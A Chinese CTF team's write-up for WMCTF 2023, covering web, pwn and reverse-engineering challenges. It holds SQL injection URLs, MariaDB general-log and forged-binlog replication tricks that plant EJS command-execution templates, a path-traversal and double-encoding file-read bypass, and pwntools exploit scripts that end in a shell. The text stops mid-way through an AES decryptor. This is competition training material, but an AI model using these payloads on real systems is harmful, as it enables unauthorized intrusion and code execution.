2023 WMCTF SU Write-Up

感谢 WM 的师傅们精心准备的比赛!本次比赛我们 SU 取得了 10nd 的成绩,感谢队里师傅们的辛苦付出!同时我们也在持续招人,只要你拥有一颗热爱 CTF 的心,都可以加入我们!欢迎发送个人简介至:suers_xctf@126.com

以下是我们 SU 本次 WMCTF 2023 的 writeup。

Web

ezblog

获取uuid,访问/console

GET /post/0%20union%20select%20TO%5FBASE64%28load%5Ffile%28%22%2Fhome%2Fezblog%2F%2Epm2%2Flogs%2Fmain%2Dout%2Elog%22%29%29%2C%272%27%2C3/edit 

利用/api/debugger/sql/execute路由,执行大部分SQL语句,因为post.ejs读写权限为777,所以设置mariadb的常规日志记录在/home/ezblog/views/post.ejs

下面是利用到的sql语句,然后再利用/api/debugger/template/test路由访问post.ejs模板即可

CREATE DATABASE mysql;
CREATE TABLE mysql.general_log(
event_time timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
user_host mediumtext NOT NULL,
thread_id int(11) NOT NULL,
server_id int(10) unsigned NOT NULL,
command_type varchar(64) NOT NULL,
argument mediumtext NOT NULL
) ENGINE=CSV DEFAULT CHARSET=utf8 COMMENT='General log'
set global general_log = "ON";
set global general_log_file='/home/ezblog/views/post.ejs';
<=- global.process.mainModule.constructor._load(`child_process`).execSync(`/readflag`).toString() =>

参考连接:

https://hxp.io/blog/101/hxp-CTF-2022-valentine/

https://www.sqlsec.com/2020/11/mysql.html#into-oufile-%E5%86%99-shell

ezblog2

大体思路一样,难点就于主从复制上,关闭主服务器的CRC32,手动修改Binary Log,导致从服务器执行SQL语句

获取uuid,访问/console

GET /post/0%20union%20select%20TO%5FBASE64%28load%5Ffile%28%22%2Fhome%2Fezblog%2F%2Epm2%2Flogs%2Fmain%2Dout%2Elog%22%29%29%2C%272%27%2C3/edit 

主服务器激活Binary Log

#/etc/my.cnf
#
# This group is read both by the client and the server
# use it for options that affect everything
#
[client-server]

#
# include *.cnf from the config directory
#
!includedir /etc/my.cnf.d

[mysqld]
server_id       = 2
secure_file_priv=
log-bin         = mysql-bin
binlog_format = MIXED

主服务器执行如下语句(我是用mycli连接的)

MariaDB root@(none):test> set global binlog_checksum = 0; #关闭主服务器的CRC32
MariaDB root@(none):test> reset master; #删除所有二进制日志文件
MariaDB root@(none):test> create database test;
MariaDB root@(none):test> CREATE TABLE employees (
                        id INT,
                        name VARCHAR(100),
                        age INT
                        );
MariaDB root@(none):test>INSERT INTO employees(id, name, age) VALUES(1, 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 30)
MariaDB root@(none):test>create database test2;

因为Binary Log只记录如CREATEALTERINSERTUPDATEDELETE 之类对数据有影响的语句,对数据没有影响的语句(如 SELECT 和 SHOW )不会被记录,这里创建create database语句只是为了观察主从复制时是否出错,至关重要的是INSERT语句,要与payload长度一致

select '<%= process.mainModule.require("child_process").execSync("/readflag").toString() %>' into outfile '/home/ezblog/views/114.ejs'
INSERT INTO employees(id, name, age) VALUES(1, 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 30)

找到binlog默认为mysql-bin.000001,我的binlog在/var/lib/mysql/mysql-bin.000001,用你喜欢的16进制编辑进行编辑,我这里随便找了个,替换INSERT INTO xxx部分

img

img

用官方的mysqlbinlog查看mysql-bin是否报错,没有就进行替换

mysqlbinlog mysql-bin.000001
sudo cp mysql-bin.000001 /var/lib/mysql/

可以看到已经成功替换了

MariaDB root@(none):test> SHOW BINLOG EVENTS
+------------------+------+-------------------+-----------+-------------+----------------------------------------------------------------------------------------------------------------------------------------------------+
| Log_name         | Pos  | Event_type        | Server_id | End_log_pos | Info                                                                                                                                               |
+------------------+------+-------------------+-----------+-------------+----------------------------------------------------------------------------------------------------------------------------------------------------+
| mysql-bin.000001 | 4    | Format_desc       | 2         | 256         | Server ver: 11.0.3-MariaDB-log, Binlog ver: 4                                                                                                      |
| mysql-bin.000001 | 256  | Gtid_list         | 2         | 281         | []                                                                                                                                                 |
| mysql-bin.000001 | 281  | Binlog_checkpoint | 2         | 320         | mysql-bin.000001                                                                                                                                   |
| mysql-bin.000001 | 320  | Gtid              | 2         | 358         | GTID 0-2-1                                                                                                                                         |
| mysql-bin.000001 | 358  | Query             | 2         | 448         | drop database test                                                                                                                                 |
| mysql-bin.000001 | 448  | Gtid              | 2         | 486         | GTID 0-2-2                                                                                                                                         |
| mysql-bin.000001 | 486  | Query             | 2         | 578         | drop database test1                                                                                                                                |
| mysql-bin.000001 | 578  | Gtid              | 2         | 616         | GTID 0-2-3                                                                                                                                         |
| mysql-bin.000001 | 616  | Query             | 2         | 708         | drop database test2                                                                                                                                |
| mysql-bin.000001 | 708  | Gtid              | 2         | 746         | GTID 0-2-4                                                                                                                                         |
| mysql-bin.000001 | 746  | Query             | 2         | 838         | drop database test5                                                                                                                                |
| mysql-bin.000001 | 838  | Gtid              | 2         | 876         | GTID 0-2-5                                                                                                                                         |
| mysql-bin.000001 | 876  | Query             | 2         | 968         | drop database test6                                                                                                                                |
| mysql-bin.000001 | 968  | Gtid              | 2         | 1006        | GTID 0-2-6                                                                                                                                         |
| mysql-bin.000001 | 1006 | Query             | 2         | 1089        | create database test                                                                                                                               |
| mysql-bin.000001 | 1089 | Gtid              | 2         | 1127        | GTID 0-2-7                                                                                                                                         |
| mysql-bin.000001 | 1127 | Query             | 2         | 1348        | use `test`; CREATE TABLE employees (                                                                                                               |
|                  |      |                   |           |             |                        id INT,                                                                                                                     |
|                  |      |                   |           |             |                    name VARCHAR(100),                                                                                                              |
|                  |      |                   |           |             |                        age INT                                                                                                                     |
|                  |      |                   |           |             |                        )                                                                                                                           |
| mysql-bin.000001 | 1348 | Gtid              | 2         | 1386        | BEGIN GTID 0-2-8                                                                                                                                   |
| mysql-bin.000001 | 1386 | Query             | 2         | 1583        | use `test`; select '<%= process.mainModule.require("child_process").execSync("/readflag").toString() %>' into outfile '/home/ezblog/views/114.ejs' |
| mysql-bin.000001 | 1583 | Xid               | 2         | 1610        | COMMIT /* xid=116 */                                                                                                                               |
| mysql-bin.000001 | 1610 | Gtid              | 2         | 1648        | GTID 0-2-9                                                                                                                                         |
| mysql-bin.000001 | 1648 | Query             | 2         | 1733        | create database test2                                                                                                                              |
+------------------+------+-------------------+-----------+-------------+----------------------------------------------------------------------------------------------------------------------------------------------------+

在题目的/api/debugger/python/execute 路由上执行如下SQL,然后利用/api/debugger/template/test路由访问114.ejs模板即可

create database mysql;
CREATE TABLE mysql.gtid_slave_pos (
    `domain_id` int(10) unsigned NOT NULL,
    `sub_id` bigint(20) unsigned NOT NULL,
   `server_id` int(10) unsigned NOT NULL,
   `seq_no` bigint(20) unsigned NOT NULL,
    PRIMARY KEY (`domain_id`,`sub_id`)
   ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Replication slave GTID state';
CHANGE MASTER TO
    MASTER_HOST='192.168.2.203',
    MASTER_USER='shukuang',
    MASTER_PASSWORD='',
    MASTER_LOG_FILE='mysql-bin.000001',
    MASTER_LOG_POS=0;
START SLAVE;
show slave status;

参考连接:

https://mariadb.com/kb/en/documentation/

AnyFileRead

绕过SpringSecurity读flag,需要注意编码解析问题,用burp即可

/admin/../flag

ez_java_agagin

img

/usr/share/java/这个目录有java,file:///列根目录发现flag文件,flag被过滤用二次编码绕

/Imagefile?url1=file:///usr/share/java/../../../../%2566%256c%2561%2567

你的权限放着我来

http://b122e3c7-3f13-4c4b-8c92-9639c6ad9de5.wmctf.wm-team.cn/

/api/change

任意用户重置

重置jom@roomke.com的密码 拿到flag flag{test_flag}

Pwn

Blindless

Libc大师题,改elf的linkmap的l_addr到backdoor,爆破1位,控制一下fini_array什么的l_info指向0

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

if args.REMOTE :
    sh = remote('1.13.101.243','27227')
else:
    sh = process('./main')

script = ''
def bpt(addr_or_sym,bigFileOff=False):
    global script
    if type(addr_or_sym) is int:
        addr = addr_or_sym
        if addr > 0x400000 and not bigFileOff:
            script += f'b * {addr:#x}\n'
        else:
            script += f'brva {addr:#x}\n'
    elif type(addr_or_sym) is str:
        script += 'b ' + addr_or_sym + '\n'
    elif type(addr_or_sym) is list:
        for i in addr_or_sym:
            bpt(i)
    

def b(x=None,go=False,action=''):
    global script
    if x != None:
        bpt(x)
    if go or action != '':
        script += 'c\n'
    script += action
    gdb.attach(sh,script)
    pause()

code = b''

def add_off(off):
    global code
    code += b'@' + p32(off)
def write(ch):
    global code
    code += b'.' + ch
def shift():
    global code
    code += b'>'

def shift_8():
    global code
    code += b'+'

def quit():
    global code
    code += b'q'

data_size = 0x200000
sh.sendlineafter(b'data size\n',str(data_size).encode())

# shift_8()

linkmap_off = 0x424180

add_off(linkmap_off)
write(b'\x09')
shift()
write(b'\x12')

add_off(0xa8-1)
write(b'\x40')
add_off(0x110-0xa8)
write(b'\x40')
add_off(0x120-0x110)
write(b'\x40')

quit()

sh.sendlineafter(b'code size\n',str(len(code)).encode())

# b(['_dl_fini',0x130e])
sh.sendafter(b'your code\n',code)

sh.interactive()

Jit

Ida 7.7的i64

交互是输俩十六进制字符串

013f2eff883这样的

漏洞应该在generate_code函数

有效的opcode在check_code里

2k行看不动了

没必要看,只要测一下那些opcode代表的操作,就会发现有内存写的指令,同时还允许使用rbp为目标寄存器,就直接按他的逻辑写汇编改返回地址然后jit spray就完事了

from pwn import *
import binascii
context.arch = 'amd64'
context.log_level = 'debug'

if args.REMOTE :
    sh = remote('1.13.101.243','26419')
else:
    sh = process('./jit')

script = ''
def bpt(addr_or_sym,bigFileOff=False):
    global script
    if type(addr_or_sym) is int:
        addr = addr_or_sym
        if addr > 0x400000 and not bigFileOff:
            script += f'b * {addr:#x}\n'
        else:
            script += f'brva {addr:#x}\n'
    elif type(addr_or_sym) is str:
        script += 'b ' + addr_or_sym + '\n'
    elif type(addr_or_sym) is list:
        for i in addr_or_sym:
            bpt(i)
    

def b(x=None,go=False,action=''):
    global script
    if x != None:
        bpt(x)
    if go or action != '':
        script += 'c\n'
    script += action
    gdb.attach(sh,script)
    pause()

code = b''

def make_code(op,r1=0,r2=0,off=0,imm=0):
    global code
    payload = b''
    payload += p8(op)
    payload += p8((r1 << 4) + (r2 & 0xf))
    payload += p16(off)
    payload += p32(imm)
    # code += payload
    return payload

mem = b'\x80\x88'

def sd():
    sh.sendlineafter(b'Program: ',binascii.hexlify(code))
    sh.sendlineafter(b'Memory: ',binascii.hexlify(mem))

def add_imm(r,imm):
    global code
    code += make_code(7,r2=r,imm=imm)

def reg_add(dst,src):
    global code
    code += make_code(0xc,r1=src,r2=dst)

# 0x18 movabs 
# 0xde jle
# 0x62-0x7b mov xxx ptr [r], r/imm
# 0x5 - 0xde jmp/jxx    
# 0xac xor
# 0xbc mov
# 0xc7 sar

rax = 0
rdi = 1
rsi = 2
rdx = 3
r9 = 4
r8 = 5
rbx = 6
r13 = 7
r14 = 8
r15 = 9
rbp = 10

def mov(dst,src):
    global code
    code += make_code(0xbc,r1=src,r2=dst)

def mov_imm(dst,imm):
    global code
    code += make_code(0xb7,r2=dst,imm=imm)

mov(rbx,rax)
mov_imm(rdx,7)
mov(rdi,rax)
mov_imm(rsi,0x2000)

mov_imm(rax,0xa)

add_imm(rbx,0x3b)

code += make_code(0x7b,r1=rbx,r2=rbp,off=0x28) # mov qword ptr [rbp+0x28],rbx /// return address

def add32(r,imm):
    global code
    code += make_code(0x4,r2=r,imm=imm)

tail = 0x03eb0000

sc = '''syscall
xor eax,eax
push rsi;pop rdx;
push rdi;pop rsi;
push rax;pop rdi;
syscall
'''
for i in sc.splitlines():
    add32(r15,u16(asm(i)) + tail)

# b(0x2947,go=True)   

sd()

pause()

sh.sendline(b'\x90' * 0x100 + asm(shellcraft.sh()))

sh.interactive()

Re

ezAndroid

img

输入账号和密码,注册在native里,d810去混淆发现是rc4加密和aes加密,全部魔改了,通过动态调试找到rc4的key是12345678,他rc4魔改了后面有个异或i

a = [0xE9, 0x97, 0x64, 0xE6, 0x7E, 0xEB, 0xBD, 0xC1, 0xAB, 0x43]
b = [0] * 10
for i in range(10):
    b[i] = a[i] ^ i
    print(hex(b[i]),end=",")
import base64
def rc4_main(key = "init_key", message = "init_message"):
    print("RC4解密主函数调用成功")
    print('\n')
    s_box = rc4_init_sbox(key)
    crypt = rc4_excrypt(message, s_box)
    return crypt
def rc4_init_sbox(key):
    s_box = list(range(256))
    print("原来的 s 盒:%s" % s_box)
    print('\n')
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    print("混乱后的 s 盒:%s"% s_box)
    print('\n')
    return s_box
def rc4_excrypt(plain, box):
    print("调用解密程序成功。")
    print('\n')
    plain = base64.b64decode(plain.encode('utf-8'))
    plain = bytes.decode(plain)
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) + k))
    print("res用于解密字符串,解密后是:%res" %res)
    print('\n')
    cipher = "".join(res)
    print("解密后的字符串是:%s" %cipher)
    print('\n')
    print("解密后的输出(没经过任何编码):")
    print('\n')
    return cipher
a=[0xe9,0x96,0x66,0xe5,0x7a,0xee,0xbb,0xc6,0xa3,0x4a]
key="12345678"
s=""
for i in a:
    s+=chr(i)
s=str(base64.b64encode(s.encode('utf-8')), 'utf-8')
rc4_main(key, s)

得到账号,然后账号+123456作为key传入aes加密,这个加密魔改了sbox

img

通过下面脚本求逆sbox

#include <stdio.h>
#include <stdint.h>
int main(){
    uint8_t S_BOX[16][16] = {0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82, 0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2, 0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62, 0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2, 0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42, 0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2, 0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22, 0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92, 0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02, 0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72, 0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2, 0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52, 0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2, 0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32, 0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2, 0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12};
    uint8_t Te_InvS[16][16] = { 0 };        //逆S盒缓存
    uint8_t Te_InVSAdd[2] = { 0 };            //位置
    for (uint8_t i = 0; i < 16; i++) {                    //计算逆S盒
        for (uint8_t n = 0; n < 16; n++) {
            Te_InVSAdd[0] = (S_BOX[i][n] >> 4) & 0x0f;        //取行
            Te_InVSAdd[1] = (S_BOX[i][n] >> 0) & 0x0f;        //取列
            Te_InvS[Te_InVSAdd[0]][Te_InVSAdd[1]] = (i * 16 + n)&0xff;        //置值
        }
    } 
    for (int i = 0; i < 16; i++){
        for (int ii = 0; ii < 16; ii++){
        printf("%d,",Te_InvS[i][ii]);
        }
    }
}

得到逆sbox,然后拿aes解密就行

#include <stdio.h>
#include <stdint.h>
#include <memory.h>
/****************************************************************************************************************/
typedef enum {
    AES_CYPHER_128,
    AES_CYPHER_192,
    AES_CYPHER_256,
} AES_CYPHER_T;
/****************************************************************************************************************/
/*
* Encryption Rounds
*/
int g_aes_key_bits[] = {
    /* AES_CYPHER_128 */ 128,
    /* AES_CYPHER_192 */ 192,
    /* AES_CYPHER_256 */ 256,
};
int g_aes_rounds[] = {
    /* AES_CYPHER_128 */  10,
    /* AES_CYPHER_192 */  12,
    /* AES_CYPHER_256 */  14,
};
int g_aes_nk[] = {
    /* AES_CYPHER_128 */  4,
    /* AES_CYPHER_192 */  6,
    /* AES_CYPHER_256 */  8,
};
int g_aes_nb[] = {
    /* AES_CYPHER_128 */  4,
    /* AES_CYPHER_192 */  4,
    /* AES_CYPHER_256 */  4,
};
/****************************************************************************************************************/
/*
* aes Rcon:
*
* WARNING: Rcon is designed starting from 1 to 15, not 0 to 14.
*          FIPS-197 Page 9: "note that i starts at 1, not 0"
*
* i    |   0     1     2     3     4     5     6     7     8     9    10    11    12    13    14
* -----+------------------------------------------------------------------------------------------
*      | [01]  [02]  [04]  [08]  [10]  [20]  [40]  [80]  [1b]  [36]  [6c]  [d8]  [ab]  [4d]  [9a]
* RCON | [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]
*      | [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]
*      | [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]  [00]
*/
static const uint32_t g_aes_rcon[] = {
    0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000,
    0x1b000000, 0x36000000, 0x6c000000, 0xd8000000, 0xab000000, 0xed000000, 0x9a000000
};
/****************************************************************************************************************/
/*
* aes sbox and invert-sbox
*/
static const uint8_t g_aes_sbox[256] = {
    /* 0     1     2     3   u  4     5     6     7     8     9     A     B     C     D     E     F  */
    0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82, 0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2, 0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62, 0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2, 0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42, 0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2, 0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22, 0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92, 0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02, 0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72, 0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2, 0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52, 0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2, 0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32, 0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2, 0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12
};
static const uint8_t g_inv_sbox[256] = {
    /* 0     1     2     3     4     5     6     7     8     9     A     B     C     D     E     F  */
    65,232,143,54,221,132,43,210,121,32,199,110,21,188,99,10,177,88,255,166,77,244,155,66,233,144,55,222,133,44,211,122,33,200,111,22,189,100,11,178,89,0,167,78,245,156,67,234,145,56,223,134,45,212,123,34,201,112,23,190,101,12,179,90,1,168,79,246,157,68,235,146,57,224,135,46,213,124,35,202,113,24,191,102,13,180,91,2,169,80,247,158,69,236,147,58,225,136,47,214,125,36,203,114,25,192,103,14,181,92,3,170,81,248,159,70,237,148,59,226,137,48,215,126,37,204,115,26,193,104,15,182,93,4,171,82,249,160,71,238,149,60,227,138,49,216,127,38,205,116,27,194,105,16,183,94,5,172,83,250,161,72,239,150,61,228,139,50,217,128,39,206,117,28,195,106,17,184,95,6,173,84,251,162,73,240,151,62,229,140,51,218,129,40,207,118,29,196,107,18,185,96,7,174,85,252,163,74,241,152,63,230,141,52,219,130,41,208,119,30,197,108,19,186,97,8,175,86,253,164,75,242,153,64,231,142,53,220,131,42,209,120,31,198,109,20,187,98,9,176,87,254,165,76,243,154
};
/****************************************************************************************************************/
uint8_t aes_sub_sbox(uint8_t val)
{
    return g_aes_sbox[val];
}
/****************************************************************************************************************/
uint32_t aes_sub_dword(uint32_t val)
{
    uint32_t tmp = 0;

    tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 0) & 0xFF))) << 0;
    tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 8) & 0xFF))) << 8;
    tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 16) & 0xFF))) << 16;
    tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 24) & 0xFF))) << 24;

    return tmp;
}
/****************************************************************************************************************/
uint32_t aes_rot_dword(uint32_t val)
{
    uint32_t tmp = val;

    return (val >> 8) | ((tmp & 0xFF) << 24);
}
/****************************************************************************************************************/
uint32_t aes_swap_dword(uint32_t val)
{
    return (((val & 0x000000FF) << 24) |
        ((val & 0x0000FF00) << 8) |
        ((val & 0x00FF0000) >> 8) |
        ((val & 0xFF000000) >> 24));
}
/****************************************************************************************************************/
/*
* nr: number of rounds
* nb: number of columns comprising the state, nb = 4 dwords (16 bytes)
* nk: number of 32-bit words comprising cipher key, nk = 4, 6, 8 (KeyLength/(4*8))
*/
void aes_key_expansion(AES_CYPHER_T mode, uint8_t *key, uint8_t *round)
{
    uint32_t *w = (uint32_t *)round;
    uint32_t  t;
    int      i = 0;

    do {
        w[i] = *((uint32_t *)&key[i * 4 + 0]);
    } while (++i < g_aes_nk[mode]);

    do {
        if ((i % g_aes_nk[mode]) == 0) {
            t = aes_rot_dword(w[i - 1]);
            t = aes_sub_dword(t);
            t = t ^ aes_swap_dword(g_aes_rcon[i / g_aes_nk[mode] - 1]);
        }
        else if (g_aes_nk[mode] > 6 && (i % g_aes_nk[mode]) == 4) {
            t = aes_sub_dword(w[i - 1]);
        }
        else {
            t = w[i - 1];
        }
        w[i] = w[i - g_aes_nk[mode]] ^ t;
    } while (++i < g_aes_nb[mode] * (g_aes_rounds[mode] + 1));
}
/****************************************************************************************************************/
void aes_add_round_key(AES_CYPHER_T mode, uint8_t *state,
    uint8_t *round, int nr)
{
    uint32_t *w = (uint32_t *)round;
    uint32_t *s = (uint32_t *)state;
    int i;

    for (i = 0; i < g_aes_nb[mode]; i++) {
        s[i] ^= w[nr * g_aes_nb[mode] + i];
    }
}
/****************************************************************************************************************/
void aes_sub_bytes(AES_CYPHER_T mode, uint8_t *state)
{
    int i, j;

    for (i = 0; i < g_aes_nb[mode]; i++) {
        for (j = 0; j < 4; j++) {
            state[i * 4 + j] = aes_sub_sbox(state[i * 4 + j]);
        }
    }
}
/****************************************************************************************************************/
void aes_shift_rows(AES_CYPHER_T mode, uint8_t *state)
{
    uint8_t *s = (uint8_t *)state;
    int i, j, r;

    for (i = 1; i < g_aes_nb[mode]; i++) {
        for (j = 0; j < i; j++) {
            uint8_t tmp = s[i];
            for (r = 0; r < g_aes_nb[mode]; r++) {
                s[i + r * 4] = s[i + (r + 1) * 4];
            }
            s[i + (g_aes_nb[mode] - 1) * 4] = tmp;
        }
    }
}
/****************************************************************************************************************/
uint8_t aes_xtime(uint8_t x)
{
    return ((x << 1) ^ (((x >> 7) & 1) * 0x1b));
}
/****************************************************************************************************************/
uint8_t aes_xtimes(uint8_t x, int ts)
{
    while (ts-- > 0) {
        x = aes_xtime(x);
    }

    return x;
}
/****************************************************************************************************************/
uint8_t aes_mul(uint8_t x, uint8_t y)
{
    /*
    * encrypt: y has only 2 bits: can be 1, 2 or 3
    * decrypt: y could be any value of 9, b, d, or e
    */

    return ((((y >> 0) & 1) * aes_xtimes(x, 0)) ^
        (((y >> 1) & 1) * aes_xtimes(x, 1)) ^
        (((y >> 2) & 1) * aes_xtimes(x, 2)) ^
        (((y >> 3) & 1) * aes_xtimes(x, 3)) ^
        (((y >> 4) & 1) * aes_xtimes(x, 4)) ^
        (((y >> 5) & 1) * aes_xtimes(x, 5)) ^
        (((y >> 6) & 1) * aes_xtimes(x, 6)) ^
        (((y >> 7) & 1) * aes_xtimes(x, 7)));
}
/****************************************************************************************************************/
void aes_mix_columns(AES_CYPHER_T mode, uint8_t *state)
{
    uint8_t y[16] = { 2, 3, 1, 1,  1, 2, 3, 1,  1, 1, 2, 3,  3, 1, 1, 2 };
    uint8_t s[4];
    int i, j, r;

    for (i = 0; i < g_aes_nb[mode]; i++) {
        for (r = 0; r < 4; r++) {
            s[r] = 0;
            for (j = 0; j < 4; j++) {
                s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]);
            }
        }
        for (r = 0; r < 4; r++) {
            state[i * 4 + r] = s[r];
        }
    }
}
/****************************************************************************************************************/
int aes_encrypt(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
    uint8_t w[4 * 4 * 15] = { 0 }; /* round key */
    uint8_t s[4 * 4] = { 0 }; /* state */

    int nr, i, j;

    /* key expansion */
    aes_key_expansion(mode, key, w);

    /* start data cypher loop over input buffer */
    for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {

        /* init state from user buffer (plaintext) */
        for (j = 0; j < 4 * g_aes_nb[mode]; j++)
            s[j] = data[i + j];

        /* start AES cypher loop over all AES rounds */
        for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {

            if (nr > 0) {

                /* do SubBytes */
                aes_sub_bytes(mode, s);

                /* do ShiftRows */
                aes_shift_rows(mode, s);

                if (nr < g_aes_rounds[mode]) {
                    /* do MixColumns */
                    aes_mix_columns(mode, s);
                }
            }

            /* do AddRoundKey */
            aes_add_round_key(mode, s, w, nr);
        }

        /* save state (cypher) to user buffer */
        for (j = 0; j < 4 * g_aes_nb[mode]; j++)
            data[i + j] = s[j];
    }

    return 0;
}
/****************************************************************************************************************/
int aes_encrypt_ecb(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
    return aes_encrypt(mode, data, len, key);
}
/****************************************************************************************************************/
int aes_encrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key, uint8_t *iv)
{
    uint8_t w[4 * 4 * 15] = { 0 }; /* round key */
    uint8_t s[4 * 4] = { 0 }; /* state */
    uint8_t v[4 * 4] = { 0 }; /* iv */

    int nr, i, j;

    /* key expansion */
